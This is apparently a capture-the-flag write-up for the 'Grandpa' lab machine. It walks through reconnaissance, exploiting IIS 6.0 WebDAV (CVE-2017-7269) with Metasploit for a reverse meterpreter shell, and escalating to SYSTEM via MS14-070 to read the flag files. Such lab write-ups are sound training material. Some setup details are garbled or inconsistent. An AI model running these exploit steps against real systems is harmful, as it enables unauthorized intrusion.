

# GRANPA

## STEP 1 RECONNAISSANCE

```
#nmap -A -v -Pn 10.10.10.14 > netsweep.txt
#cat netsweep.txt
```

```
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 6.0
|_ http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT POST MOVE MKCOL PROPPATCH
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_ http-server-header: Microsoft-IIS/6.0
|_ http-title: Under Construction
|_ http-webdav-scan:
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Server Date: Thu, 30 Apr 2020 14:57:56 GMT
|_ WebDAV type: Unknown
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

let's try to get more info on the server

```
#nmap --script http-webdav-scan -p80 grandpa.htb
```

```
PORT      STATE SERVICE
80/tcp    open  http
|_ http-webdav-scan:
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|   Server Date: Thu, 30 Apr 2020 15:02:20 GMT
|_ Server Type: Microsoft-IIS/6.0
```

Let's see if we can upload anything  
#davtest -url http://10.10.10.14

```
*****
Testing DAV connection
OPEN          SUCCEEDED:          http://10.10.10.14
*****
NOTE         Random string for this session: SnE0p0ICnp
*****
Creating directory
MKCOL         FAIL
*****
Sending test files
PUT    asp    FAIL
PUT    aspx   FAIL
PUT    pl     FAIL
PUT    jhtml  FAIL
PUT    jsp    FAIL
PUT    shtml  FAIL
PUT    txt    FAIL
PUT    cfm    FAIL
PUT    cgi    FAIL
PUT    html   FAIL
PUT    php    FAIL
*****
/usr/bin/davtest Summary:
```

**NO LUCK**

#searchsploit iis 6.0

Exploit Title	Path (/usr/share/exploitdb/)
Microsoft IIS 4.0/5.0/6.0 - Internal IP Address/Internal Network	exploits/windows/remote/21057.txt
Microsoft IIS 5.0/6.0 FTP Server (Windows 2000) - Remote Stack O	exploits/windows/remote/9541.pl
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Se	exploits/windows/dos/9587.txt
Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of Service	exploits/windows/dos/3965.pl
Microsoft IIS 6.0 - ASP Stack OverFlow Stack Exhaustion (Denial	exploits/windows/dos/15167.txt
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer	exploits/windows/remote/41738.py
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1)	exploits/windows/remote/8704.txt
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2)	exploits/windows/remote/8806.pl
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP)	exploits/windows/remote/8765.php
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (Patch)	exploits/windows/remote/8754.patch
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities	exploits/windows/remote/19033.txt

Shellcodes: No Result

```
kali@kali:~/grandpa$ searchsploit -x 41738.py
Exploit: Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow
URL: https://www.exploit-db.com/exploits/41738
Path: /usr/share/exploitdb/exploits/windows/remote/41738.py
File Type: troff or preprocessor input, ASCII text, with very long lines, with CRLF line terminators
```

more info

#searchsploit -x 41738.py

The attack is based on a Return-oriented programming chain. **Return-oriented programming (ROP)** is a security exploit technique that allows an attacker to execute code in the presence of security defense such as executable space protection and code signing

## EXPLOIT INFO:

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<https://www.exploit-db.com/search?q=iis+6.0>

<https://www.exploit-db.com/exploits/41738>

<https://nvd.nist.gov/vuln/detail/CVE-2017-7269>

<https://www.cvedetails.com/cve/CVE-2017-7269/>

# STEP 2 - VISIT THE WEBSITE

The screenshot shows a web browser window with the address bar displaying `10.10.10.14`. The page content is titled "Under Construction" and includes a message: "The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured. Please try this site again later. If you still experience the problem, try contacting the Web site administrator. If you are the Web site administrator and feel you have received this message in error, please see 'Enabling and Disabling Dynamic Content' in IIS Help. To access IIS Help: 1. Click Start, and then click Run. 2. In the Open text box, type inetmgr. IIS Manager appears. 3. From the Help menu, click Help Topics. 4. Click Internet Information Services."

The Network tab in the browser's developer tools is open, showing a list of requests. The first request is a GET request to `http://10.10.10.14/` with a status code of 200 OK. The response headers are visible, including `Server: Microsoft-IIS/6.0` and `X-Powered-By: ASP.NET`, both of which are highlighted with red boxes.

**WE CAN SEE IT'S UNDER CONSTRUCTIONS AND IT'S POWERED BY ASP.NET**

#msfconsole  
#search iis 6.0

136	exploit/windows/http/ftppad_list_reply	2018-10-12	good	No	FTTPad 1.2.0 Stack Buffer Overflow
139	exploit/windows/http/ms99_952_ftpd_nlst	2009-08-31	great	No	MS99-952 Microsoft IIS FTP Server NLST Response Overflow
140	exploit/windows/http/amlibweb_webquerydll_app	2018-08-03	normal	Yes	AmLibWeb NetOpacs webquery.dll Stack Buffer Overflow
141	exploit/windows/http/ektron_xslt_exec_vs	2015-02-05	excellent	Yes	Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution
142	exploit/windows/http/jira_collector_traversal	2014-02-26	normal	Yes	JIRA Issues Collector Directory Traversal
143	exploit/windows/http/msad2_webdbm_database	2006-08-29	good	No	Msad2 WebDBM Database Parameter Overflow
144	exploit/windows/http/servilo_checkstreamurl_cmd_exec	2017-05-03	excellent	Yes	Servilo Media Server checkStreamUrl Command Execution
145	exploit/windows/http/umbraco_upload.aspx	2012-06-28	excellent	No	Umbraco CMS Remote Command Execution
146	exploit/windows/iis/iis_webdav_scstoragepathfromurl	2017-11-26	massal	Yes	Microsoft IIS WebDAV ScStoragePathFromUrl Overflow
147	exploit/windows/iis/iis_webdav_upload.asp	2004-12-31	excellent	No	Microsoft IIS WebDAV Write Access Code Execution
148	exploit/windows/iis/ms01_023_printer	2001-05-01	good	Yes	MS01-023 Microsoft IIS 5.0 Printer Host Header Overflow
149	exploit/windows/iis/ms01_026_dlldecode	2001-05-15	excellent	Yes	MS01-026 Microsoft IIS/PWS CGI Filename Double Decode Command Execution
150	exploit/windows/iis/ms01_033_idq	2001-06-18	good	No	MS01-033 Microsoft IIS 5.0 IDQ Path Overflow
151	exploit/windows/iis/ms02_018_htr	2002-04-10	good	No	MS02-018 Microsoft IIS 4.0 .HTR Path Overflow
152	exploit/windows/iis/ms02_005_msadc	2002-11-20	normal	Yes	MS02-005 Microsoft IIS MSADC msadc.dll RPS DataStub Content-Type Overflow
153	exploit/windows/iis/ms02_007_ntdll_webdav	2003-05-30	great	Yes	MS02-007 Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow
154	exploit/windows/iis/ms03_017	1998-07-17	excellent	Yes	MS03-017 Microsoft IIS ISAPI msadc.dll RPS Arbitrary Remote Command Execution
155	exploit/windows/isapi/ms00_094_pbserver	2000-12-04	good	Yes	MS00-094 Microsoft IIS Phone Book Service Overflow
156	exploit/windows/isapi/ms01_022_maillog_post	2001-06-25	good	Yes	MS01-022 Microsoft IIS ISAPI maillog.dll ISAPI POST Overflow
157	exploit/windows/isapi/ms01_051_fp30reg_chunked	2001-11-11	good	Yes	MS01-051 Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow
158	exploit/windows/isapi/rsa_webagent_redirect	2005-10-21	good	Yes	Microsoft IIS ISAPI RSA WebAgent Redirect Overflow
159	exploit/windows/isapi/wtwho_query	2004-11-06	good	Yes	Microsoft IIS ISAPI wtwho.dll Query String Overflow
160	exploit/windows/misc/hp_dataprotector_new_folder	2012-03-12	normal	No	HP Data Protector Create New Folder Buffer Overflow

#use exploit/windows/iis/  
iis\_webdav\_scstoragepathfromurl  
#show options

Module options (exploit/windows/iis/iis_webdav_scstoragepathfromurl):			
Name	Current Setting	Required	Description
MAXPATHLENGTH	60	yes	End of physical path brute force
MINPATHLENGTH	3	yes	Start of physical path brute force
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	Path of IIS 6 web application
VHOST		no	HTTP server virtual host

Exploit target:

Id	Name
0	Microsoft Windows Server 2003 R2 SP2 x86

#set RHOSTS 10.10.10.14  
#check

```
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > check
[+] 10.10.10.14:80 - The target is vulnerable.
```

#exploit

#getuid

we have a METERPRETER session but checking the getui if



you are not authorized do the following:

check the processes (look for the id of the process dvcddata.exe)

#ps

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x86	0	NT AUTHORITY\SYSTEM	
272	4	smss.exe	x86	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
324	272	csrss.exe	x86	0	NT AUTHORITY\SYSTEM	\\?\C:\WINDOWS\system32\csrss.exe
348	272	winlogon.exe	x86	0	NT AUTHORITY\SYSTEM	\\?\C:\WINDOWS\system32\winlogon.exe
396	348	services.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\services.exe
408	348	lsass.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\lsass.exe
604	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\svchost.exe
680	396	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
736	396	svchost.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\svchost.exe
764	396	svchost.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\svchost.exe
800	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32\svchost.exe
936	396	spoolsv.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\spoolsv.exe
964	396	msdtc.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\msdtc.exe
1076	396	cisvc.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cisvc.exe
1116	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32\svchost.exe
1176	396	inetinfo.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\inetrv\inetinfo.exe
1220	396	svchost.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\svchost.exe
1328	396	VGAuthService.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware\VMware Tools\VMware VGAuthService.exe
1408	396	vmtoolsd.exe	x86	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1456	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32\svchost.exe
1596	396	svchost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\System32\svchost.exe
1684	348	logon.scr	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\logon.scr
1700	396	alg.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\System32\alg.exe
1816	604	wmiprvse.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	C:\WINDOWS\system32\wbem\wmiprvse.exe
1912	396	dlhhost.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\dlhhost.exe
2308	604	wmiprvse.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\wbem\wmiprvse.exe
3188	1456	w3wp.exe	x86	0	NT AUTHORITY\NETWORK SERVICE	c:\windows\system32\inetrv\w3wp.exe
3344	604	wmiprvse.exe	x86	0	NT AUTHORITY\LOCAL SERVICE	C:\WINDOWS\system32\wbem\wmiprvse.exe
3496	604	davcddata.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\inetrv\davcddata.exe
3940	1076	cidaemon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cidaemon.exe
3984	1076	cidaemon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cidaemon.exe
4012	1076	cidaemon.exe	x86	0	NT AUTHORITY\SYSTEM	C:\WINDOWS\system32\cidaemon.exe

migrate to that process id

#migrate 3496

#getuid

```
[*] Started reverse TCP handler on 10.10.14.21:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (180291 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.21:4444 → 10.10.10.14:1032) at 2020-04-30 11:22:51 -0400

meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
```

#whoami

```
C:\WINDOWS\system32>whoami  
whoami  
nt authority\network service
```

#sysinfo

```
C:\WINDOWS\system32>systeminfo  
systeminfo  
Host Name: GRANPA  
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition  
OS Version: 5.2.3790 Service Pack 2 Build 3790  
OS Manufacturer: Microsoft Corporation  
OS Configuration: Standalone Server  
OS Build Type: Uniprocessor Free  
Registered Owner: HTB  
Registered Organization: HTB  
Product ID: 69712-296-0024942-44782  
Original Install Date: 4/12/2017, 5:07:40 PM  
System Up Time: 0 Days, 2 Hours, 5 Minutes, 18 Seconds  
System Manufacturer: VMware, Inc.  
System Model: VMware Virtual Platform  
System Type: X86-based PC  
Processor(s): 1 Processor(s) Installed.  
[01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1999 Mhz  
BIOS Version: INTEL - 6040000  
Windows Directory: C:\WINDOWS  
System Directory: C:\WINDOWS\system32  
Boot Device: \Device\HarddiskVolume1  
System Locale: en-us;English (United States)  
Input Locale: en-us;English (United States)  
Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk  
Total Physical Memory: 1,023 MB  
Available Physical Memory: 791 MB  
Page File: Max Size: 2,470 MB  
Page File: Available: 2,321 MB  
Page File: In Use: 149 MB  
Page File Location(s): C:\pagefile.sys  
Domain: HTB  
Logon Server: N/A  
Hotfix(s): 1 Hotfix(s) Installed.
```

# navigate to C:\

#dir

#cd Documents And Settings

#dir

```
C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE

Directory of C:\Documents and Settings

04/12/2017  05:32 PM    <DIR>          .
04/12/2017  05:32 PM    <DIR>          ..
04/12/2017  05:12 PM    <DIR>          Administrator
04/12/2017  05:03 PM    <DIR>          All Users
04/12/2017  05:32 PM    <DIR>          Harry
               0 File(s)                0 bytes
               5 Dir(s)  18,090,647,552 bytes free
```

We found two users (Administrator and Harry) tried to access those users' folders but got access denied, no root privileges yet

#exit

## STEP 3 - USING LOCAL EXPLOIT SUGGESTER

#run post/multi/recon/local\_exploit\_suggester



```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.14 - Collecting local exploits for x86/windows ...
[*] 10.10.10.14 - 29 exploit checks are being tried...
[*] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[*] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[*] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[*] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[*] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[*] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[*] 10.10.10.14 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable.
[*] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
```

We will use exploit ms14\_070\_tcpip\_ioctl

## STEP 4 - USING MS14-070 to get root privileges

#background

#use exploit/windows/local/ms14\_070\_tcpip\_ioctl

#show options

```
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > use exploit/windows/local/ms14_070_tcpip_ioctl
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options

Module options (exploit/windows/local/ms14_070_tcpip_ioctl):

  Name      Current Setting  Required  Description
  ----      -
  SESSION   [REDACTED]      yes       The session to run this module on.

Exploit target:

  Id  Name
  --  -
  0    Windows Server 2003 SP2
```

#SET SESSION 1

#show options

#run

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set session 1
session => 1
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 192.168.114.129:4444
[*] Storing the shellcode in memory ...
[*] Triggering the vulnerability ...
[*] Checking privileges after exploitation ...
[+] Exploitation successful!
[*] Exploit completed, but no session was created.
```

#show options

#SET LHOST 10.10.10.14 (your IP ADDRESS)

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > show options

Module options (exploit/windows/local/ms14_070_tcpip_ioctl):

  Name      Current Setting  Required  Description
  ----      -
  SESSION    1                yes       The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST      192.168.114.129 yes       The listen address (an interface may be specified)
  LPORT      4444            yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Windows Server 2003 SP2

msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > set lhost 10.10.14.21
lhost => 10.10.14.21
```

#exploit

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > exploit

[*] Started reverse TCP handler on 10.10.14.21:4444
[-] Exploit aborted due to failure: none: Session is already elevated
[*] Exploit completed, but no session was created.
```

```
#sessions -l
#sessions -i 1
#ps
```

```
msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > sessions -l

Active sessions
=====

  Id  Name  Type  Information  Connection
  ---  ---  ---  ---  ---
  1    meterpreter x86/windows NT AUTHORITY\NETWORK SERVICE @ GRANPA 10.10.14.21:4444 → 10.10.10.14:1032 (10.10.10.14)

msf5 exploit(windows/local/ms14_070_tcpip_ioctl) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ps

Process List
=====

PID  PPID  Name  Arch  Session  User  Path
---  ---  ---  ---  ---  ---  ---
0    0    [System Process]
4    0    System  x86  0    NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
272  4    smss.exe  x86  0    NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
324  272  csrss.exe  x86  0    NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
348  272  winlogon.exe  x86  0    NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
396  348  services.exe  x86  0    NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
408  348  lsass.exe  x86  0    NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
684  396  svchost.exe  x86  0    NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
680  396  svchost.exe  x86  0    NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe
736  396  svchost.exe  x86  0    NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\svchost.exe
```

```
#migrate 408
#getuid
#shell
#whoami
```

```
meterpreter > migrate 408
[*] Migrating from 3496 to 408 ...
[*] Migration completed successfully.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3616 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>whoami
whoami
nt authority\system
```

## STEP 5 - LOOKING FOR USER.TXT

```
#C:\documents and settings\harry\desktop\  
#dir  
#type user.txt
```



```
C:\Documents and Settings\Harry\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE

Directory of C:\Documents and Settings\Harry\Desktop

04/12/2017  05:32 PM    <DIR>          .
04/12/2017  05:32 PM    <DIR>          ..
04/12/2017  05:32 PM                32 user.txt
                1 File(s)                32 bytes
                2 Dir(s)  18,090,663,936 bytes free

C:\Documents and Settings\Harry\Desktop>type user.txt
type user.txt
bdf5ec67c3cff017f2bedc146a5d869
```

## STEP 6 - LOOKING FOR ROOT.TXT

```
#C:\documents and settings\Administrator\DESKTOP
#dir
#type root.txt
```

```
C:\Documents and Settings\Administrator\Desktop>dir
```

```
dir
```

```
Volume in drive C has no label.
```

```
Volume Serial Number is 246C-D7FE
```

```
Directory of C:\Documents and Settings\Administrator\Desktop
```

```
04/12/2017  05:28 PM    <DIR>
```

```
.
```

```
04/12/2017  05:28 PM    <DIR>
```

```
..
```

```
04/12/2017  05:29 PM                32 root.txt
```

```
1 File(s)                32 bytes
```

```
2 Dir(s)  18,090,659,840 bytes free
```

```
C:\Documents and Settings\Administrator\Desktop>type root.txt
```

```
type root.txt
```

```
9359e905a2c35f861f6a57cecf28bb7b
```